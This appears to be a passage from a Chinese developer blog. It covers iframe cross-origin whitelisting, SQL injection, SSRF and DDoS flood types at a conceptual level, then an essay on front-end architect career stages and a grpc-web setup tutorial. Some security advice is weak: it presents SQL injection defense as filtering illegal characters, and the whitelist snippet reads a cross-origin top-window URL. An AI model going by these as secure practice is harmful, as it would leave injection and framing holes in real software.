有的时候我们需要开发一些公共的功能页面给其他合作部门作为子窗口使用,且各部门的域不相同。关于跨域通信前面提到可以 1.页面服务器提供CORS Header; 2. 前端postMessage()等,可以web API层自动提供origin,并可以此作为参考进行白名单校验。

// iframe之间取值是受同源策略控制的,这里如果子窗口没有提供跨域资源共享是取不到主窗口的location的:
// 1. CORS 方式:子frame的页面服务器返回Header添加CORS,但我们一般直接用nginx作为前端页面服务器,或者静态页面也有直接放在CDN上的,根据请求的url(包括origin等)做细致白名单控制不是太方便,因此我们考虑做粗略的CORS,再在前端做具体url的白名单控制。
if (!whiteList.includes(window.top.location.href)) {
  return false
}
init()

// 2. postMessage()方式:在嵌入我们公共功能页面的时候,初始化前需要postMessage验证origin通过通过后页面才会渲染。
window.addEventListener('message', e => {
  if (!whiteList.includes(e.origin)) {
    return false
  }
  init()
}, false)

根据自己需要选择实现方式:

  • 比如JSSDK中有可能有一些提供给其他团队使用的功能需要用到iframe转存数据,使用JS的方式设置白名单更方便,兼容性也较好。
  • 主功能的登录页面涉及功能比较全面,没有业务必要性的情况,安全起见不提供嵌入支持。所以选择简单配置X-Frame-Options: deny的方式

SQL依赖注入

如果在涉及到用户输入存库的时候是字符拼接的方式,且没有对用户输入做过滤,那拼接出来的sql语句可能会对数据库执行恶意删除等操作。对应的解决办法就是对用户输入做过滤,排除非法字符等,

SSRF (Server-Site Request Forgery)

SSRF是一种由攻击者构造形成从服务端发起请求的一种安全漏洞,主要攻击对象为同VPC下或对等网络相连的内部服务系统。比如内部网站访问了一些攻击者构造的外网的链接,导致以内网应用的身份获取了内网才能访问的数据,并传给外网攻击者的机器

防御方法:对内网应用访问外网的权限加以限制,比如,加白名单限制,对访问外网的链接做安全检查,即过滤等,对涉及内网数据的请求加以拦截,并加入黑名单等。内网之间访问的重要数据增加数据等级并设置二次验证等。

分布式拒绝服务DDoS (Distributed Denial of Service)

单一的DoS攻击一般是一对一的,利用网络协议和系统漏洞,采用欺骗和伪装的策略来进行网络攻击,使得网站充斥着大量未完成的链接,消耗占用网络带宽和系统资源,导致网络或系统超负荷瘫痪,不能提供正常的服务。与DoS相比DDoS借助无数的被入侵的宿主机同时向目标机器发起攻击。

攻击方式

  • SYN Flood攻击: 利用TCP协议实现的缺陷,通过向网络服务器所在端口发送大量伪造源地址的攻击报文,导致目标服务器中存在大量超负荷的半开链接,从而正常的服务得到不到响应

  • UDP Flood攻击: 常见的情况利用大量UDP包冲击DNS服务器、流媒体视频服务器,由于UPD协议是无连接的,攻击者可发送大量伪造源源IP地址的UDP包

  • ICMP(Internet Control Message Protocol) Flood攻击: 常见的ping就是建立在ICMP上的,同属流量型攻击。

  • Connection Flood攻击: 这种攻击利用真实的IP向服务器发起大量链接,并且建立连接后长时间不释放,占用服务器资源,导致服务器上等待链接过多,以致资源耗尽,无法响应

  • UDP DNS Query Flood攻击: 利用大量不存在的域名向服务器发起解析请求,占用资源,使服务器不能正常响应

  • HTTP GET攻击: 同属流量型攻击,让大量宿主机同时访问目标机器

附录

附录A 名词统一

URL各段解析: https://www.alesir.com/activity.html?channel=1#buyByYear

  • https://www.alesir.com 源origin,其实这里包含端口的,https下port被隐藏了
  • https 协议名,相应的还有http、ws、wss等
  • https:// schema,相应的还有http:// ws:// wss:// data: file://
  • www.alesir.com hostname,IP或域名,不含端口,包含三级域名www,二级域名alesir,顶级域名com
  • www.alesir.com:8080 host,IP或域名,含端口,其他同上
  • 443 端口,https协议下默认port 443被隐藏了
  • /activity.html 请求路径path
  • ?channel=1 查询字符串search
  • #buyByYear hash

我脑海中的前端架构师

什么是前端架构

最初浮现在我脑海里面的就是软件架构… 做些什么呢?

  • 对涉及的项目、系统等做一系列的抽象,抽象出可以通用的框架结构
  • 为软件提供一个结构、行为和属性的高级抽象,有构建的描述、构建的相互作用、指导构建集成的模式以及这些模式的约束组成。软件架构不仅显示了软件需求和软件结构之间的对应关系,而且制定了整个软件系统的组织和拓扑结构,提供了一些设计决策的基本原理(来自百科)。软件架构要易于理解和开发,要保证可扩展性、可维护性、适用兼容性、鲁棒性、低耦合高内聚、对业务尽量少的侵入性等。

常见的软件架构有:

  • 分层架构(Layered Architecture,表现层presentation、业务层business、持久层persistence、数据库database。)经典的三层架构,并不是MVC的三层,而是这里的表现层、业务层(包含持久层)、数据库,MVC是表现层的一种架构模式,除此之外现在常用的Vue、React实现的MVVM也是表现层的一种架构/设计模式。
  • 事件驱动架构(Event-Driven Architecture,事件队列event queues、事件分发event mediator、事件通道event channels、事件处理event processors)观察者模式的实现
  • 微内核架构(Microkernel Architecture,一个核心系统和插件集模块)
  • 微服务架构(Microservices Architecture Pattern,分开部署的独立子服务单元separately deployed units、网络请求通信RESTfull API
  • 弹性云架构(Space-Based Architecture业务处理单元、虚拟中间件[消息中间件messaging grid、数据中间件data grid、运算处理中间件processing grid、部署管理中间件deployment manager])
  • 无服务器架构(Serverless,Faas函数即应用 + Baas后端及服务)

在这些架构的演进过程中也伴随出现了许多新的业务类型IaaS、SaaS、DaaS、PaaS、Baas、Faas…
如果你是一个Server端的程序员,可能会反感前端架构这个描述,觉得前端没有什么架构可言,前端这群孩子太能闹,太浮夸。这些架构涉及到的一些构件可能在过去理解的前端边界里面没有,但核心思想是相通的,目标也是一致的:让开发者更加专注业务开发,NoOps化,以解决业务问题为核心导向,技术不是目的,技术思想不应该有边界。

前端架构师做什么

是不是知道上边那些NB的架构就一本万利了呢?是不是每个业务或团队一开始就要去是去实现一个庞大的架构框架呢?这里更推从贴合业务适当超前的架构,做的太通用会带来很多不必要的分支开销,做的没有扩展性则支撑不了业务发展更迭。

狭义 设计和实现对应软件的架构

广义(现状) 除了狭义的还包括以下我在团队建设及管理中随着业务及业务架构发展不同阶段所做的所有技术相关工作,及展望。

其实前端团队中不一定有架构师这个职务,但是每个团队发展到一定的阶段一定需要一些人去做这些架构上的事,从业务出发,为提升团队整体效率产出而不断探索。

初创阶段 (看山是山看水是水)

keywords: [代码复用, 模块化, 快速迭代, 角色穿插, MPA, SPA, PWA, MVC, MVVM]

特点: 初创阶段可能职能角色并没有明显的区分,做的事情主要支撑业务的快速迭代,对普通开发者基础知识要求较高,对核心开发者知识广度较高(有从0到1的能力),也有可能只有一个人。产品形态和方向不确定,基本需求是什么就做什么,过多延展性的考虑可能在较快的业务变化节奏下很快就不适用。

做什么: 这个阶段架构师的作用并没有太多突显,但这个时候已经开始接触架构了,可能在技术选型和项目结构上需要一定的预判预设才能保证在将来一段时间支撑业务的发展。基本的模块化、前后端分离、基础组件和框架选择,utils通用工具等,目的是保证技术对快速迭代的业务支撑。根据不同的业务场景选择不同的项目架构模式,如MPA, SPA, PWA(App Shell)…;应用分层架构模式MVCMVVM

思考: 业务产品探索初见成效,产品和人员增加后怎么协作。

多人协作 (看山是山看水不是水)

keywords: [流程统一, 规范制定, 质量监控, 构建部署, 性能优化, 安全管理, 组件抽离]

特点: 业务探索初见成效,方向基本确定,产品上可以做同类的扩展。技术上表现缺什么做什么,或者做到哪抽象到哪,也没有过多可预见的业务架构引导。(团队可能根据技术方向已经有不同的小组,移动端、官网运营、业务逻辑、基础组建、nodejs等这样技术方向的区分)

做什么: 人多了,团队里面每个人都可能有自己独特的观点和节奏、编码习惯、技术认知等组建团队的时候并不能避免的一些小问题。要让大家协作起来才能干大事,力往一处使才能创造更大(1+1>2)的价值。这时候统一流程,制定合理的规范不仅让大家做事有据可依,更能有的放矢,各展其长;人员多了代码的量和出现冲突的情况也增多了,代码质量需要保证,项目运行时的质量也要有保证,项目的质量监控不可或缺;保管用户的数据就要保证用户数据的安全,公司产品上线也需要保证对社会的影响,安全管理不容忽视;业务多了,通用的功能也可能不能满足或不便于处理现有的业务,定制化或扩展的组件抽象,形成组件库。

  • 统一流程:涵盖从开发到上线的流程,这里的流程并非不可僭越的框架,参考引导为主。《新需求对接流程-[产品/运营/技术]》《code review流程》《联调流程》《提测流程》《上线部署流程》《故障处理流程》《项目安全审核流程》等
  • 制定规范:从开发到上线中一些需要保证质量,保证稳定性的规范。《分支管理》《code规范-[js/css/vue等]》《线上问题处理规范》《新人答辩规范》等
  • 质量监控:根据规范通过人员和工具等约束。codereview、部署过程监控,运行时脚本监控,其他服务稳定性监控等。
  • 构建部署:dev环境、test环境、pre环境、线上环境的构建部署,构建脚本和工具搭建,部署脚本及工具搭建
  • 性能优化:从浏览器工作原理出发,做高产低耗的提高效能的事。资源打包和加载优化、渲染型优化、计算型优化,除此外还有构建部署优化,服务接口优化等
  • 安全管理:项目中的安全防护措施和安全审核必不可少。
  • 组件抽像:基础组建,业务组建逐步抽象剥离。

思考: 准备孕育出更多产品业务线后,怎样去提高整体效率

平台化阶段 (看山不是山看水不是水)

keywords: [解构重组, 抽象分层, 标准化, 通用模型, 微前端]

特点: 已有可持续发展的业务,并通过这些业务拓展出了其他业务线,业务架构的调整促使我们不得不调整人员组织去做不同的事。看起来被动打乱了,实际也被拆解了。(这个阶段根据不同的业务架构有所不同,有的可能没有这个很有意思和挑战的阶段)

做什么: 我们能做的事是去重组,这里并不是简单的把人分到不同的子业务线做不同的产品业务就完事了,我们还是一个团队,需要提高整个团队的产出战斗力。为了更好的复用以节约成本提升效率,这时候需要一些人来做平台化的东西,需要深入到业务架构中抽象分层,去格式化并标准化一个子业务线,去思考和架构出一个能普适的通用模型,甚至可以延展到其他部门或业界的通用解决方案。

平台化要做什么呢?平台化不止是在代码上的抽象分层,从人员职能、技术分层,做标准化,通用化的一套服务体系。包括接入规范及培训、加强前面阶段产出的工具、流程、质量、安全、性能、构建部署、基础和业务组件库等的通用化标准化建设,没有的需要补上。这大概是一个把80分做到90、95的过程。

平台化阶段要解决的问题是多个团队及业务线项目间的拆分和融合的把控,不同技术栈的融合,这时候可能引入微前端的概念(目标:技术栈无关、独立开发、独立部署,技术栈无关就意味着不同技术栈的的代码可能会在同一个运行时环境执行,需要解决js/css的隔离、子应用间切换及加载与卸载、资源管理,应用间,应用与平台间的通信等问题)。常见的微前端架构实现方式:

  1. 不同执行环境
  • 配置路由: 平台层提供注册机制让各业务线可以在路由层做跳转(前端路由或者静态服务层路由nginx或后端路由,这样的好处是简单,轻松应对不同技术栈的业务线,且不用处理样式和脚本冲突等问题,但跨业务线间的通信会比较麻烦,且相互跳转通常会刷新页面)
  • 配置区域iframe: 平台层提供平台公共区域的渲染,管理平台与业务线iframe,业务线iframe与业务线iframe之间的通信衔接(这样解决了业务线之间跳转刷新的问题,但iframe之间的通信及路由处理起来也相对麻烦,且页面中多个iframe对性能也有一定的影响)
  1. 相同执行环境
  • 相同技术栈: 平台提供平台架构及基础代码,其他业务线应用以submodule的形式作为主框架应用的一部分,约定各子应用的js和css命名空间,避免对全局公用区域的干扰(优点是基础组建,模块等可以共建,跳转切换也比较流畅,缺点是人为约定容易出错,需要建设工具来监控代码,以及技术栈限制)
  • 配置区域Web Component: 平台层提供平台公共区域的渲染,管理业务线组件的加载与卸载,随着WebComponent技术的成熟,一些生成工具Stencil等也随之出现(优点是组件样式代码是浏览器级API ShadowDOM的隔离,缺点在于现有框架需要转译成WebComponent的书写方式,及兼容性)

可以看到上面两大类方案,不同执行环境固然有很多好处,但性能或体验上会打折扣;相同执行环境目前的技术发部分只解决样式冲突的问题,js执行环境的隔离还需要进一步探索。

思考: 我们在解决一些问题或者优化等时在浏览器侧可能出现了瓶颈,我们需要跳出别人对前端的束缚,我们是技术人员。

跨越融合阶段(泛前端) (看山不是山看水是水)

keywords: [Nodejs, Native, BFF, SSR, GRPC, GraphQL, Electron, Serverless]

特点: 刚打开别人给自己施加的前端枷锁,开始跨越过去技术领域的瓶颈,初尝我是一个技术人员的自由。看不清前端的界限,用技术解决问题。

做什么: 秉承谁受益谁做的优良传统,我们出现一些BFF分层架构的尝试(多了这一层,前端可以控制的更多了,GraphQL也可以推进了);更充分的权衡价值后可伸缩地回归SSR的尝试(同构),对于静态的可以直接在构建过程中渲染模板;为了降低成本一码走天下,我们在移动端用过hybrid,为了提高性能我们有weex,有react-native,还可以换一个语法尝试下Fluter;想做一个桌面应用我们也有Electron等解决方案;

随着grpc-web和grpc-node项目的稳定我们可以不用管什么ajax、fetch了,就像在native中使用SDK一样,通过方法的调用就能愉快的实现和服务端的数据通行,http2和protocolBuffer的助力也使得grpc快到没朋友;做了这么多,一些不那么简单的服务我们也可以直接用nodejs码一把了吧,似乎这个感叹有些多余。

SA课程里面了解到的富B端轻应用架构(比如:HTML5版的RIA),现在正是这个时代吧。物联网伴随着5G时代的来临,前端技术还会擦出什么样的火花呢?打开认知枷锁,不要局限于js,浏览器,向更深的原理探索,架构可能就在这里等着你,赶紧拓展提升自己的技术知识吧。最后我们还是要感谢一下nodejs带前端跨越了各种瓶颈,下一个跨越是什么呢?

思考: 技术能解决的问题也遇到了瓶颈,该怎么突破?

整体架构阶段 (看山是山看水是水)

keywords: [业务架构, 组织架构, 用户价值, 解决问题]

特点: 这时候我们的知识应该突破了技术解决问题的限制,有调度不同工种的工作,调度业务之间的支撑,实现业务架构的能力,为解决问题和实现用户价值而奋斗。我们看到了问题的本质和技术的本质是解决问题和实现用户价值。

做什么: 产品技术体系的整体架构(如果你一开始就是一个团队的Team Leader,那当你加入或者组建这个团队的时候,就应该有了一个长期的团队整体架构规划,并随着业务的发展不断的调整和改进,为业务发展做坚实的支撑,为提高整体效率而不断探索)

思考: 真正的价值成就需要解决社会问题,人类的共同问题。要让天下没有难做的生意、要让人类出行更美好。

传承阶段 (看X是山看X是水)

keywords: [持续学习, 终身成长]

特点: 这时候可能有了超俗的成就,有了做事的一套方法论,并培育出了一些比自己优秀的人才。也许还能做自己人生的架构师了。

做什么: 传承和培育

思考: 适时的放空自己去做一些更有意义的事。防治沙漠化、解决出行安全、捐建科研等社会公益问题。

小结

工作之后的第一个五年结束了,在第二个五年的前期,为了达成第二个五年的目标,我不得不去校准我自己的发展方向。我不害怕失败,也不怕从头再来,这段时间也和很多人请教了个人发展方面的事情。总的来说,主要分两种:一个是走技术专家路线;另一个是走业务管理路线;我觉得两种现在的我都太极端,我比较推崇中间融合一点的从业务架构到管理的路线,从业务出发技术赋能,架构小的业务项目到架构整个业务线的人和事。但一切的起源都需要对一件事刻苦专研,潜心深挖,做到极致,并走出自己的康庄大道,总结出自己的方法论,才能拓展宏图。诸子百家,有的相辅相成,有的自成一派。同样,每一种成功可能都有一条自己的路线,这是我理解的架构师通往成功的阶段和路线。

前端架构师必备技能

前端架构师在不同阶段有不同的要求,通用的是

  1. 有整套的知识体系,现有理解的B/S、C/S架构内相关的知识,不同阶段侧重不同;
  2. 对新技术充满热情,保持自身知识的前沿性;
  3. 知识面广,不应有明确的技术边界(很多思想可以从前人那里得到灵感,前人可能从计算机底层开始),也不局限于技术(比如:业务的实现方式也可以变通等);

前端架构师怎么做需求或需求从哪里来

前端架构师的需求可以理解为我们平时的技术任务,一般是自驱或者上级指派的技术任务。可以是一个scrum的敏捷开发过程,也可以是一个瀑布流的长期开发过程。不应有明确的技术边界,也不局限于技术。

一、不同阶段有不同的问题

已知问题 收集团队或业界已知的问题和解决方案

发现问题 根据业界类似场景的问题和解决方案找到团队的问题

预言问题 了解计算机体系内各种系统架构,提炼通用可借鉴的方案

创造问题 从生活中,各行各业中学习,拓展,抽象出可用的解决方案

二、分析问题(问题的本质)

  • 做:逻辑梳理,性能检测(工具和人力)
  • 输出:流程图(业务流程和技术开发流程),性能分析结果(细化到网络、资源、渲染、计算、逻辑等,有一些问题可能在不影响业务的情况下变通一下实现逻辑流程会带来性能的极大提升,甚至可以影响到一些业务逻辑的实现方式)

三、解决方案

  • 做:结构梳理;讨论解决方案,发散
  • 输出:解决方案,架构草图

四、提炼需求

  • 做:方案可行性测试,细化解决方案,收敛和统一
  • 输出:详细解决方案,架构图

五、开发阶段(可能代码)

  • 做:使用说明,代码开发、方案落实。
  • 输出:一个规范文档、一个流程文档、一个框架、一份代码、一个工具

六、Alpha

  • 做:宣贯普及(好的方案需要大家的验证和补充才能发出光彩,提升价值),收集反馈,快速迭代,修订里程碑计划
  • 输出:内测体验版

七、Beta

  • 做:问题修复,收集反馈,修订里程碑计划
  • 输出:公测版

八、v1.0.0

  • 做:问题修护,维护和拓展v2.x,v3.x…
  • 输出:正式版

前端架构狮除了以上的技术技能还要具备一定的说服力,要么说服并得到上级的支持,要么用实践说服其他人。

总结

在这篇文章之前我也不知道前端架构师该做什么,看了一个前端架构师jd后发现这几年在带业务团队中自己做的事情比较符合(此时从初创做到跨越融合阶段,但技术是为业务服务的,一些技术没有业务支撑,还在尝试和探索阶段)。去交流后,因为我的答案可能是狭义的前端架构理解+jd上我做过的事,也就是最后的一个问题我理解的前端架构师是什么样或者该做什么?因为我真的没有去思考过了,这也是回来后有了这篇文章的原因(这里只描述前端架构师在做什么,具体实践和理论之后会结合这几年做的架构相关的事务再做详述)。

现在我还在跨越融合阶段探索,这之后的阶段具体做什么我也没想好,也许我把当前阶段的做好了我也就知道了,也希望有业务能够支撑我继续做下去。欢迎讨论,持续更新中。

grpc-web体验

预备: 安装依赖最新版docker-compose

$ curl -L https://github.com/docker/compose/releases/download/1.23.1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
$ chmod +x /usr/local/bin/docker-compose
  1. 克隆grpc-web仓库
$ git clone https://github.com/grpc/grpc-web.git
$ cd grpc-web
  1. 拉取体验docker-compose镜像,并启动服务
$ docker-compose pull prereqs common node-server envoy commonjs-client
$ docker-compose up -d node-server envoy commonjs-client

docker-compose ps可以看到启动了如下服务
docker-compose-ps

node-server: 这是一个node实现标准的gRPC服务,监听9090端口;

envoy: Envoy代理,监听8080端口,用于转发浏览器gRPC-Web的请求到9090端口,可以通过一个配置文件envoy.yaml完成.

commonjs-client: 它使用protocprotoc-gen-grpc-web插件生成用户票据类,使用webpack构建项目,并起了一个简单服务在8081端口来支持静态文件echotest.html and dist/main.js文件访问,只要用户在web页面上交互,他就会发送一个gRPC-Web请求到Envoy代理的8080端口

  1. 在浏览器打开http://localhost:8081/echotest.html

GRPC-Web-Test-Page

服务简单,向服务器发送一个字符A, 然后前端base64后得到字符B, 记着把B发送给服务器,服务器拿到B后生成B base64后的C,最后返回B=C
给前端,前端再两次base64反解解析出A

如上来看gRPC并没有什么特别之处,或者从另一方面说gRPC提供的json模式和ajax在功能上是一致的,

  1. 体验完后docker-compose down关闭服务

不需要的话记得清除以免占用空间

$ docker-compose down --rmi all

Protobufprotocol buffers的缩写,是一个应用在通信协议、数据存储等,跨语言且跨平台的序列化数据结构的机制,类比想象一下XML,但是它更小、更快、更简单。你只需要一次定义你想要的数据结构,你就能使用专门为你给定的语言生成的源代码轻松的从各种数据流中读写你自定义的结构的数据。厉害的是你可以在不中断已部署的项目(即,你按旧格式编译好的程序)的情况下更新你定义的数据结构,这个机制在Google尤为实用,通常一个新的服务推出通常一开始就需要和老服务通信。